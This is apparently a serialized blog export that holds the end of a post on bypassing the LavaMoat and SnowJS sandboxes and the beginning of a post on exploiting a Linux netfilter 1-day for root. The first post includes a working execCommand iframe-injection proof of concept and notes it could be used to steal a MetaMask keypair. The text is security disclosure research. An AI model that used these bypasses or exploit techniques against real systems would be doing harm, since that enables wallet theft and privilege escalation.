DocumentFragment:",{"type":23,"tag":75,"props":60893,"children":60894},{"style":94},[60895],{"type":29,"value":34247},{"type":23,"tag":75,"props":60897,"children":60898},{"style":1266},[60899],{"type":29,"value":60900},"'replaceChildren'",{"type":23,"tag":75,"props":60902,"children":60903},{"style":94},[60904],{"type":29,"value":611},{"type":23,"tag":75,"props":60906,"children":60907},{"style":1266},[60908],{"type":29,"value":60909},"'append'",{"type":23,"tag":75,"props":60911,"children":60912},{"style":94},[60913],{"type":29,"value":611},{"type":23,"tag":75,"props":60915,"children":60916},{"style":1266},[60917],{"type":29,"value":60918},"'prepend'",{"type":23,"tag":75,"props":60920,"children":60921},{"style":94},[60922],{"type":29,"value":1144},{"type":23,"tag":75,"props":60924,"children":60925},{"class":77,"line":138},[60926,60931,60935,60939,60943,60947,60951,60955,60959,60964,60968,60973],{"type":23,"tag":75,"props":60927,"children":60928},{"style":110},[60929],{"type":29,"value":60930},"    Document:",{"type":23,"tag":75,"props":60932,"children":60933},{"style":94},[60934],{"type":29,"value":34247},{"type":23,"tag":75,"props":60936,"children":60937},{"style":1266},[60938],{"type":29,"value":60900},{"type":23,"tag":75,"props":60940,"children":60941},{"style":94},[60942],{"type":29,"value":611},{"type":23,"tag":75,"props":60944,"children":60945},{"style":1266},[60946],{"type":29,"value":60909},{"type":23,"tag":75,"props":60948,"children":60949},{"style":94},[60950],{"type":29,"value":611},{"type":23,"tag":75,"props":60952,"children":60953},{"style":1266},[60954],{"type":29,"value":60918},{"type":23,"tag":75,"props":60956,"children":60957},{"style":94},[60958],{"type":29,"value":611},{"type":23,"tag":75,"props":60960,"children":60961},{"style":1266},[60962],{"type":29,"value":60963},"'write'",{"type":23,"tag":75,"props":60965,"children":60966},{"style":94},[60967],{"type":29,"value":611},{"type":23,"tag":75,"props":60969,"children":60970},{"style":1266},[60971],{"type":29,"value":60972},"'writeln'",{"type":23,"tag":75,"props":60974,"children":60975},{"style":94},[60976],{"type":29,"value":1144},{"type":23,"tag":75,"props":60978,"children":60979},{"class":77,"line":161},[60980,60985,60989,60994,60998,61003,61007,61012],{"type":23,"tag":75,"props":60981,"children":60982},{"style":110},[60983],{"type":29,"value":60984},"    Node:",{"type":23,"tag":75,"props":60986,"children":60987},{"style":94},[60988],{"type":29,"value":34247},{"type":23,"tag":75,"props":60990,"children":60991},{"style":1266},[60992],{"type":29,"value":60993},"'appendChild'",{"type":23,"tag":75,"props":60995,"children":60996},{"style":94},[60997],{"type":29,"value":611},{"type":23,"tag":75,"props":60999,"children":61000},{"style":1266},[61001],{"type":29,"value":61002},"'insertBefore'",{"type":23,"tag":75,"props":61004,"children":61005},{"style":94},[61006],{"type":29,"value":611},{"type":23,"tag":75,"props":61008,"children":61009},{"style":1266},[61010],{"type":29,"value":61011},"'replaceChild'",{"type":23,"tag":75,"props":61013,"children":61014},{"style":94},[61015],{"type":29,"value":1144},{"type":23,"tag":75,"props":61017,"children":61018},{"class":77,"line":196},[61019,61024,61028,61033,61037,61042,61046,61051,61055,61060,61064,61069,61073,61077,61081,61086,61090,61094,61098,61103,61107,61111],{"type":23,"tag":75,"props":61020,"children":61021},{"style":110},[61022],{"type":29,"value":61023},"    Element:",{"type":23,"tag":75,"props":61025,"children":61026},{"style":94},[61027],{"type":29,"value":34247},{"type":23,"tag":75,"props":61029,"children":61030},{"style":1266},[61031],{"type":29,"value":61032},"'innerHTML'",{"type":23,"tag":75,"props":61034,"children":61035},{"style":94},[61036],{"type":29,"value":611},{"type":23,"tag":75,"props":61038,"children":61039},{"style":1266},[61040],{"type":29,"value":61041},"'outerHTML'",{"type":23,"tag":75,"props":61043,"children":61044},{"style":94},[61045],{"type":29,"value":611},{"type":23,"tag":75,"props":61047,"children":61048},{"style":1266},[61049],{"type":29,"value":61050},"'insertAdjacentHTML'",{"type":23,"tag":75,"props":61052,"children":61053},{"style":94},[61054],{"type":29,"value":611},{"type":23,"tag":75,"props":61056,"children":61057},{"style":1266},[61058],{"type":29,"value":61059},"'replaceWith'",{"type":23,"tag":75,"props":61061,"children":61062},{"style":94},[61063],{"type":29,"value":611},{"type":23,"tag":75,"props":61065,"children":61066},{"style":1266},[61067],{"type":29,"value":61068},"'insertAdjacentElement'",{"type":23,"tag":75,"props":61070,"children":61071},{"style":94},[61072],{"type":29,"value":611},{"type":23,"tag":75,"props":61074,"children":61075},{"style":1266},[61076],{"type":29,"value":60909},{"type":23,"tag":75,"props":61078,"children":61079},{"style":94},[61080],{"type":29,"value":611},{"type":23,"tag":75,"props":61082,"children":61083},{"style":1266},[61084],{"type":29,"value":61085},"'before'",{"type":23,"tag":75,"props":61087,"children":61088},{"style":94},[61089],{"type":29,"value":611},{"type":23,"tag":75,"props":61091,"children":61092},{"style":1266},[61093],{"type":29,"value":60918},{"type":23,"tag":75,"props":61095,"children":61096},{"style":94},[61097],{"type":29,"value":611},{"type":23,"tag":75,"props":61099,"children":61100},{"style":1266},[61101],{"type":29,"value":61102},"'after'",{"type":23,"tag":75,"props":61104,"children":61105},{"style":94},[61106],{"type":29,"value":611},{"type":23,"tag":75,"props":61108,"children":61109},{"style":1266},[61110],{"type":29,"value":60900},{"type":23,"tag":75,"props":61112,"children":61113},{"style":94},[61114],{"type":29,"value":1144},{"type":23,"tag":75,"props":61116,"children":61117},{"class":77,"line":220},[61118,61123,61127,61131],{"type":23,"tag":75,"props":61119,"children":61120},{"style":110},[61121],{"type":29,"value":61122},"    ShadowRoot:",{"type":23,"tag":75,"props":61124,"children":61125},{"style":94},[61126],{"type":29,"value":34247},{"type":23,"tag":75,"props":61128,"children":61129},{"style":1266},[61130],{"type":29,"value":61032},{"type":23,"tag":75,"props":61132,"children":61133},{"style":94},[61134],{"type":29,"value":1144},{"type":23,"tag":75,"props":61136,"children":61137},{"class":77,"line":248},[61138,61143,61147,61152],{"type":23,"tag":75,"props":61139,"children":61140},{"style":110},[61141],{"type":29,"value":61142},"    HTMLIFrameElement:",{"type":23,"tag":75,"props":61144,"children":61145},{"style":94},[61146],{"type":29,"value":34247},{"type":23,"tag":75,"props":61148,"children":61149},{"style":1266},[61150],{"type":29,"value":61151},"'srcdoc'",{"type":23,"tag":75,"props":61153,"children":61154},{"style":94},[61155],{"type":29,"value":1144},{"type":23,"tag":75,"props":61157,"children":61158},{"class":77,"line":270},[61159],{"type":23,"tag":75,"props":61160,"children":61161},{"style":94},[61162],{"type":29,"value":27801},{"type":23,"tag":32,"props":61164,"children":61165},{},[61166],{"type":29,"value":61167},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":23,"tag":32,"props":61169,"children":61170},{},[61171],{"type":29,"value":61172},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":23,"tag":923,"props":61174,"children":61176},{"id":61175},"bypassing-snowjs",[61177],{"type":29,"value":61178},"Bypassing SnowJS",{"type":23,"tag":32,"props":61180,"children":61181},{},[61182,61184,61195,61197,61203],{"type":29,"value":61183},"The deprecated ",{"type":23,"tag":940,"props":61185,"children":61188},{"href":61186,"rel":61187},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[944],[61189],{"type":23,"tag":71,"props":61190,"children":61192},{"className":61191},[],[61193],{"type":29,"value":61194},"document.execCommand",{"type":29,"value":61196}," function is used to execute commands inside a ",{"type":23,"tag":71,"props":61198,"children":61200},{"className":61199},[],[61201],{"type":29,"value":61202},"contenteditable",{"type":29,"value":61204}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":23,"tag":64,"props":61206,"children":61209},{"className":61207,"code":61208,"language":43576,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[61210],{"type":23,"tag":71,"props":61211,"children":61212},{"__ignoreMap":7},[61213],{"type":23,"tag":75,"props":61214,"children":61215},{"class":77,"line":78},[61216,61220,61224,61228,61232,61237,61242,61247,61252,61256],{"type":23,"tag":75,"props":61217,"children":61218},{"style":43569},[61219],{"type":29,"value":295},{"type":23,"tag":75,"props":61221,"children":61222},{"style":82},[61223],{"type":29,"value":42542},{"type":23,"tag":75,"props":61225,"children":61226},{"style":110},[61227],{"type":29,"value":43649},{"type":23,"tag":75,"props":61229,"children":61230},{"style":94},[61231],{"type":29,"value":212},{"type":23,"tag":75,"props":61233,"children":61234},{"style":1266},[61235],{"type":29,"value":61236},"test",{"type":23,"tag":75,"props":61238,"children":61239},{"style":110},[61240],{"type":29,"value":61241}," contenteditable",{"type":23,"tag":75,"props":61243,"children":61244},{"style":110},[61245],{"type":29,"value":61246}," autofocus",{"type":23,"tag":75,"props":61248,"children":61249},{"style":43569},[61250],{"type":29,"value":61251},">\u003C/",{"type":23,"tag":75,"props":61253,"children":61254},{"style":82},[61255],{"type":29,"value":42542},{"type":23,"tag":75,"props":61257,"children":61258},{"style":43569},[61259],{"type":29,"value":17260},{"type":23,"tag":32,"props":61261,"children":61262},{},[61263,61265,61271,61273,61278],{"type":29,"value":61264},"After inserting this element to a page, it is possible to use ",{"type":23,"tag":71,"props":61266,"children":61268},{"className":61267},[],[61269],{"type":29,"value":61270},"insertHTML",{"type":29,"value":61272}," command of ",{"type":23,"tag":71,"props":61274,"children":61276},{"className":61275},[],[61277],{"type":29,"value":61194},{"type":29,"value":61279}," to add a non-sandboxed iframe.",{"type":23,"tag":64,"props":61281,"children":61283},{"className":42559,"code":61282,"language":42561,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[61284],{"type":23,"tag":71,"props":61285,"children":61286},{"__ignoreMap":7},[61287],{"type":23,"tag":75,"props":61288,"children":61289},{"class":77,"line":78},[61290,61294,61298,61303,61307,61312,61316,61320,61324,61329],{"type":23,"tag":75,"props":61291,"children":61292},{"style":110},[61293],{"type":29,"value":43901},{"type":23,"tag":75,"props":61295,"children":61296},{"style":94},[61297],{"type":29,"value":557},{"type":23,"tag":75,"props":61299,"children":61300},{"style":88},[61301],{"type":29,"value":61302},"execCommand",{"type":23,"tag":75,"props":61304,"children":61305},{"style":94},[61306],{"type":29,"value":643},{"type":23,"tag":75,"props":61308,"children":61309},{"style":1266},[61310],{"type":29,"value":61311},"'insertHTML'",{"type":23,"tag":75,"props":61313,"children":61314},{"style":94},[61315],{"type":29,"value":611},{"type":23,"tag":75,"props":61317,"children":61318},{"style":82},[61319],{"type":29,"value":19434},{"type":23,"tag":75,"props":61321,"children":61322},{"style":94},[61323],{"type":29,"value":611},{"type":23,"tag":75,"props":61325,"children":61326},{"style":1266},[61327],{"type":29,"value":61328},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":23,"tag":75,"props":61330,"children":61331},{"style":94},[61332],{"type":29,"value":15099},{"type":23,"tag":923,"props":61334,"children":61336},{"id":61335},"impact-on-lavamoat-scuttling",[61337],{"type":29,"value":61338},"Impact On Lavamoat Scuttling",{"type":23,"tag":32,"props":61340,"children":61341},{},[61342],{"type":29,"value":61343},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":23,"tag":32,"props":61345,"children":61346},{},[61347,61349,61354,61356,61361],{"type":29,"value":61348},"For the exploit, the only used functions are in ",{"type":23,"tag":71,"props":61350,"children":61352},{"className":61351},[],[61353],{"type":29,"value":43901},{"type":29,"value":61355}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":23,"tag":71,"props":61357,"children":61359},{"className":61358},[],[61360],{"type":29,"value":48608},{"type":29,"value":61362}," object.",{"type":23,"tag":32,"props":61364,"children":61365},{},[61366,61368,61373],{"type":29,"value":61367},"Consider this example, which runs a scuttled ",{"type":23,"tag":71,"props":61369,"children":61371},{"className":61370},[],[61372],{"type":29,"value":43891},{"type":29,"value":36670},{"type":23,"tag":64,"props":61375,"children":61377},{"className":42559,"code":61376,"language":42561,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[61378],{"type":23,"tag":71,"props":61379,"children":61380},{"__ignoreMap":7},[61381,61417,61454,61497],{"type":23,"tag":75,"props":61382,"children":61383},{"class":77,"line":78},[61384,61388,61392,61396,61400,61404,61408,61413],{"type":23,"tag":75,"props":61385,"children":61386},{"style":110},[61387],{"type":29,"value":43901},{"type":23,"tag":75,"props":61389,"children":61390},{"style":94},[61391],{"type":29,"value":557},{"type":23,"tag":75,"props":61393,"children":61394},{"style":110},[61395],{"type":29,"value":43593},{"type":23,"tag":75,"props":61397,"children":61398},{"style":94},[61399],{"type":29,"value":557},{"type":23,"tag":75,"props":61401,"children":61402},{"style":110},[61403],{"type":29,"value":46166},{"type":23,"tag":75,"props":61405,"children":61406},{"style":209},[61407],{"type":29,"value":1193},{"type":23,"tag":75,"props":61409,"children":61410},{"style":1266},[61411],{"type":29,"value":61412}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":23,"tag":75,"props":61414,"children":61415},{"style":94},[61416],{"type":29,"value":245},{"type":23,"tag":75,"props":61418,"children":61419},{"class":77,"line":100},[61420,61424,61428,61432,61436,61441,61445,61450],{"type":23,"tag":75,"props":61421,"children":61422},{"style":110},[61423],{"type":29,"value":43901},{"type":23,"tag":75,"props":61425,"children":61426},{"style":94},[61427],{"type":29,"value":557},{"type":23,"tag":75,"props":61429,"children":61430},{"style":88},[61431],{"type":29,"value":46191},{"type":23,"tag":75,"props":61433,"children":61434},{"style":94},[61435],{"type":29,"value":643},{"type":23,"tag":75,"props":61437,"children":61438},{"style":1266},[61439],{"type":29,"value":61440},"'test'",{"type":23,"tag":75,"props":61442,"children":61443},{"style":94},[61444],{"type":29,"value":31960},{"type":23,"tag":75,"props":61446,"children":61447},{"style":88},[61448],{"type":29,"value":61449},"focus",{"type":23,"tag":75,"props":61451,"children":61452},{"style":94},[61453],{"type":29,"value":14944},{"type":23,"tag":75,"props":61455,"children":61456},{"class":77,"line":121},[61457,61461,61465,61469,61473,61477,61481,61485,61489,61493],{"type":23,"tag":75,"props":61458,"children":61459},{"style":110},[61460],{"type":29,"value":43901},{"type":23,"tag":75,"props":61462,"children":61463},{"style":94},[61464],{"type":29,"value":557},{"type":23,"tag":75,"props":61466,"children":61467},{"style":88},[61468],{"type":29,"value":61302},{"type":23,"tag":75,"props":61470,"children":61471},{"style":94},[61472],{"type":29,"value":643},{"type":23,"tag":75,"props":61474,"children":61475},{"style":1266},[61476],{"type":29,"value":61311},{"type":23,"tag":75,"props":61478,"children":61479},{"style":94},[61480],{"type":29,"value":611},{"type":23,"tag":75,"props":61482,"children":61483},{"style":82},[61484],{"type":29,"value":19434},{"type":23,"tag":75,"props":61486,"children":61487},{"style":94},[61488],{"type":29,"value":611},{"type":23,"tag":75,"props":61490,"children":61491},{"style":1266},[61492],{"type":29,"value":61328},{"type":23,"tag":75,"props":61494,"children":61495},{"style":94},[61496],{"type":29,"value":15099},{"type":23,"tag":75,"props":61498,"children":61499},{"class":77,"line":138},[61500,61504,61508,61513,61517,61521,61526,61530,61534,61539,61543,61547,61551,61555,61559,61563],{"type":23,"tag":75,"props":61501,"children":61502},{"style":110},[61503],{"type":29,"value":43901},{"type":23,"tag":75,"props":61505,"children":61506},{"style":94},[61507],{"type":29,"value":557},{"type":23,"tag":75,"props":61509,"children":61510},{"style":88},[61511],{"type":29,"value":61512},"getElementsByTagName",{"type":23,"tag":75,"props":61514,"children":61515},{"style":94},[61516],{"type":29,"value":643},{"type":23,"tag":75,"props":61518,"children":61519},{"style":1266},[61520],{"type":29,"value":47922},{"type":23,"tag":75,"props":61522,"children":61523},{"style":94},[61524],{"type":29,"value":61525},")[",{"type":23,"tag":75,"props":61527,"children":61528},{"style":237},[61529],{"type":29,"value":648},{"type":23,"tag":75,"props":61531,"children":61532},{"style":94},[61533],{"type":29,"value":4695},{"type":23,"tag":75,"props":61535,"children":61536},{"style":110},[61537],{"type":29,"value":61538},"contentWindow",{"type":23,"tag":75,"props":61540,"children":61541},{"style":94},[61542],{"type":29,"value":557},{"type":23,"tag":75,"props":61544,"children":61545},{"style":88},[61546],{"type":29,"value":43891},{"type":23,"tag":75,"props":61548,"children":61549},{"style":94},[61550],{"type":29,"value":643},{"type":23,"tag":75,"props":61552,"children":61553},{"style":110},[61554],{"type":29,"value":43901},{"type":23,"tag":75,"props":61556,"children":61557},{"style":94},[61558],{"type":29,"value":557},{"type":23,"tag":75,"props":61560,"children":61561},{"style":110},[61562],{"type":29,"value":43911},{"type":23,"tag":75,"props":61564,"children":61565},{"style":94},[61566],{"type":29,"value":15099},{"type":23,"tag":923,"props":61568,"children":61570},{"id":61569},"snowjs-patch",[61571],{"type":29,"value":61572},"SnowJS Patch",{"type":23,"tag":32,"props":61574,"children":61575},{},[61576,61578,61585,61587,61594],{"type":29,"value":61577},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":23,"tag":940,"props":61579,"children":61582},{"href":61580,"rel":61581},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[944],[61583],{"type":29,"value":61584},"browser feature within W3C standards",{"type":29,"value":61586},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":23,"tag":940,"props":61588,"children":61591},{"href":61589,"rel":61590},"https://github.com/weizman/Realms-Initialization-Control",[944],[61592],{"type":29,"value":61593},"Here",{"type":29,"value":61595}," is their new proposal.",{"type":23,"tag":24,"props":61597,"children":61599},{"id":61598},"chaining-the-impacts",[61600],{"type":29,"value":61601},"Chaining The Impacts",{"type":23,"tag":32,"props":61603,"children":61604},{},[61605],{"type":29,"value":61606},"We were able to find two vulnerabilities in lavamoat project:",{"type":23,"tag":2797,"props":61608,"children":61609},{},[61610,61615],{"type":23,"tag":2801,"props":61611,"children":61612},{},[61613],{"type":29,"value":61614},"Policy File Bypass",{"type":23,"tag":2801,"props":61616,"children":61617},{},[61618],{"type":29,"value":61619},"Scuttling Bypass",{"type":23,"tag":32,"props":61621,"children":61622},{},[61623],{"type":29,"value":61624},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":23,"tag":32,"props":61626,"children":61627},{},[61628],{"type":29,"value":61629},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":23,"tag":24,"props":61631,"children":61632},{"id":14115},[61633],{"type":29,"value":14118},{"type":23,"tag":32,"props":61635,"children":61636},{},[61637],{"type":29,"value":61638},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":23,"tag":42542,"props":61640,"children":61641},{"style":42544},[61642],{"type":23,"tag":15189,"props":61643,"children":61646},{"src":61644,"alt":61645,"style":42550},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":23,"tag":29644,"props":61648,"children":61650},{"className":61649,"dataFootnotes":7},[29647],[61651,61656],{"type":23,"tag":24,"props":61652,"children":61654},{"className":61653,"id":26708},[29652],[61655],{"type":29,"value":29655},{"type":23,"tag":2797,"props":61657,"children":61658},{},[61659],{"type":23,"tag":2801,"props":61660,"children":61661},{"id":41561},[61662,61664,61671,61672],{"type":29,"value":61663},"Excluding SES, which was covered ",{"type":23,"tag":940,"props":61665,"children":61668},{"href":61666,"rel":61667},"https://osec.io/blog/2023-11-01-metamask-snaps",[944],[61669],{"type":29,"value":61670},"in our last article",{"type":29,"value":949},{"type":23,"tag":940,"props":61673,"children":61675},{"href":41589,"ariaLabel":29758,"className":61674,"dataFootnoteBackref":7},[29760],[61676],{"type":29,"value":29763},{"type":23,"tag":14130,"props":61678,"children":61679},{},[61680],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":61682},[61683,61687,61693,61699,61700,61701],{"id":30179,"depth":100,"text":30182,"children":61684},[61685,61686],{"id":26,"depth":121,"text":30},{"id":58313,"depth":121,"text":58316},{"id":59068,"depth":100,"text":59071,"children":61688},[61689,61690,61691,61692],{"id":59319,"depth":121,"text":59322},{"id":59789,"depth":121,"text":59792},{"id":60445,"depth":121,"text":60448},{"id":60568,"depth":121,"text":60571},{"id":60686,"depth":100,"text":60689,"children":61694},[61695,61696,61697,61698],{"id":60814,"depth":121,"text":60817},{"id":61175,"depth":121,"text":61178},{"id":61335,"depth":121,"text":61338},{"id":61569,"depth":121,"text":61572},{"id":61598,"depth":100,"text":61601},{"id":14115,"depth":100,"text":14118},{"id":26708,"depth":100,"text":29655},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":61706,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":61707,"description":61708,"author":61709,"image":61710,"date":61712,"isFeatured":15,"tags":61713,"onBlogPage":15,"body":61716,"_type":14157,"_id":72091,"_source":14159,"_file":72092,"_stem":72093,"_extension":14162},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":61711,"height":20516,"width":16995},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[61714,61715],"kernal","linux",{"type":20,"children":61717,"toc":72059},[61718,61731,61745,61750,61756,61766,61771,61777,61782,61800,61814,61823,61856,61861,61867,61886,61919,61925,61938,62148,62215,62779,62798,63023,63082,63088,63108,63148,63336,63341,63492,63548,63553,64066,64085,64354,64380,64889,64956,64962,64998,65003,65269,65302,65314,65341,65353,65358,65364,65385,65391,65412,65435,66267,66273,66313,66852,66863,66897,66964,67018,67250,67256,67300,67764,67770,67781,67811,67894,67899,67904,67940,67992,68023,68578,68584,68601,68607,68612,68618,68646,68839,68859,68875,69469,69475,69510,69533,69545,69551,69579,70174,70199,71168,71179,71192,71205,71970,71984,71990,72002,72008,72036,72041,72045,72050,72055],{"type":23,"tag":32,"props":61719,"children":61720},{},[61721,61723,61730],{"type":29,"value":61722},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":23,"tag":940,"props":61724,"children":61727},{"href":61725,"rel":61726},"https://google.github.io/security-research/kernelctf/rules.html",[944],[61728],{"type":29,"value":61729},"KernelCTF VRP",{"type":29,"value":557},{"type":23,"tag":32,"props":61732,"children":61733},{},[61734,61736,61743],{"type":29,"value":61735},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":23,"tag":940,"props":61737,"children":61740},{"href":61738,"rel":61739},"https://github.com/conlonialC",[944],[61741],{"type":29,"value":61742},"lonial con",{"type":29,"value":61744},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":23,"tag":32,"props":61746,"children":61747},{},[61748],{"type":29,"value":61749},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":23,"tag":24,"props":61751,"children":61753},{"id":61752},"the-kernel",[61754],{"type":29,"value":61755},"The kernel",{"type":23,"tag":32,"props":61757,"children":61758},{},[61759,61761],{"type":29,"value":61760},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":23,"tag":15189,"props":61762,"children":61765},{"alt":61763,"src":61764},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":23,"tag":32,"props":61767,"children":61768},{},[61769],{"type":29,"value":61770},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":23,"tag":923,"props":61772,"children":61774},{"id":61773},"kernel-exploitation",[61775],{"type":29,"value":61776},"Kernel exploitation",{"type":23,"tag":32,"props":61778,"children":61779},{},[61780],{"type":29,"value":61781},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":23,"tag":27910,"props":61783,"children":61784},{},[61785,61790,61795],{"type":23,"tag":2801,"props":61786,"children":61787},{},[61788],{"type":29,"value":61789},"Trigger some memory corruption in some kernel subsystem",{"type":23,"tag":2801,"props":61791,"children":61792},{},[61793],{"type":29,"value":61794},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":23,"tag":2801,"props":61796,"children":61797},{},[61798],{"type":29,"value":61799},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":23,"tag":32,"props":61801,"children":61802},{},[61803,61805,61812],{"type":29,"value":61804},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":23,"tag":940,"props":61806,"children":61809},{"href":61807,"rel":61808},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[944],[61810],{"type":29,"value":61811},"blog post",{"type":29,"value":61813}," to become more familiar with the topic.",{"type":23,"tag":24,"props":61815,"children":61817},{"id":61816},"nf_tables",[61818],{"type":23,"tag":71,"props":61819,"children":61821},{"className":61820},[],[61822],{"type":29,"value":61816},{"type":23,"tag":32,"props":61824,"children":61825},{},[61826,61831,61833,61839,61840,61846,61848,61854],{"type":23,"tag":71,"props":61827,"children":61829},{"className":61828},[],[61830],{"type":29,"value":61816},{"type":29,"value":61832}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":23,"tag":940,"props":61834,"children":61837},{"href":61835,"rel":61836},"https://pwning.tech/nftables",[944],[61838],{"type":29,"value":7867},{"type":29,"value":611},{"type":23,"tag":940,"props":61841,"children":61844},{"href":61842,"rel":61843},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[944],[61845],{"type":29,"value":14409},{"type":29,"value":61847},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":23,"tag":71,"props":61849,"children":61851},{"className":61850},[],[61852],{"type":29,"value":61853},"nf_table",{"type":29,"value":61855}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":23,"tag":32,"props":61857,"children":61858},{},[61859],{"type":29,"value":61860},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":23,"tag":923,"props":61862,"children":61864},{"id":61863},"transactions",[61865],{"type":29,"value":61866},"Transactions",{"type":23,"tag":32,"props":61868,"children":61869},{},[61870,61872,61877,61879,61884],{"type":29,"value":61871},"A transaction is an interaction that updates ",{"type":23,"tag":71,"props":61873,"children":61875},{"className":61874},[],[61876],{"type":29,"value":61816},{"type":29,"value":61878}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":23,"tag":71,"props":61880,"children":61882},{"className":61881},[],[61883],{"type":29,"value":61816},{"type":29,"value":61885}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":23,"tag":27910,"props":61887,"children":61888},{},[61889,61899,61909],{"type":23,"tag":2801,"props":61890,"children":61891},{},[61892,61897],{"type":23,"tag":16596,"props":61893,"children":61894},{},[61895],{"type":29,"value":61896},"Control plane",{"type":29,"value":61898},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":23,"tag":2801,"props":61900,"children":61901},{},[61902,61907],{"type":23,"tag":16596,"props":61903,"children":61904},{},[61905],{"type":29,"value":61906},"Commit path",{"type":29,"value":61908},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":23,"tag":2801,"props":61910,"children":61911},{},[61912,61917],{"type":23,"tag":16596,"props":61913,"children":61914},{},[61915],{"type":29,"value":61916},"Abort path",{"type":29,"value":61918},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":23,"tag":24,"props":61920,"children":61922},{"id":61921},"vulnerability-details",[61923],{"type":29,"value":61924},"Vulnerability details",{"type":23,"tag":32,"props":61926,"children":61927},{},[61928,61930,61936],{"type":29,"value":61929},"Moving on, let's check out the ",{"type":23,"tag":940,"props":61931,"children":61934},{"href":61932,"rel":61933},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[944],[61935],{"type":29,"value":15500},{"type":29,"value":61937}," that fixed the bug.",{"type":23,"tag":64,"props":61939,"children":61941},{"className":51550,"code":61940,"language":51552,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct 